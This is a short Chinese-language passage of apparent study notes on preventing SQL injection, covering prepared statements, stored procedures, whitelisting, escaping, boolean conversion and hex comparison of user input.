Prepare? 命令会带着占位符被数据库进行编译和解析,并放到命令缓冲区
Execute? 带着参数调用预编译的命令并解析,但是不会重新编译命令
2,存储过程
存储过程是指数据库中存放了一组为完成特定功能生成的SQL语句,这些语句一次编译后永久有效,用户通过指定存储过程的名字并给出参数来执行这些语句。
存储过程的SQL语句存放在数据库中,用户通过调用这些过程获取数据,参数化查询的SQL语句是通过Web应用完成执行。
存储过程被创建后存放在表mysql.proc中。
过滤方式
1,白名单
只接受来自白名单中规定的内容,白名单之外的内容直接丢弃,
这种方法适合于传参内容可以穷举,且不频繁变化的场景。
2,转义
对用户输入的特殊字符进行转义,这些字符可能会影响SQL代码的执行。
转换为布尔值
? 对于某些简单的操作,比如排序。可以将用户的传参转换为布尔值,而不是直接使用
? 用户的传参。
转十六进制比较
? hex(id)=hex(“用户输入”)
|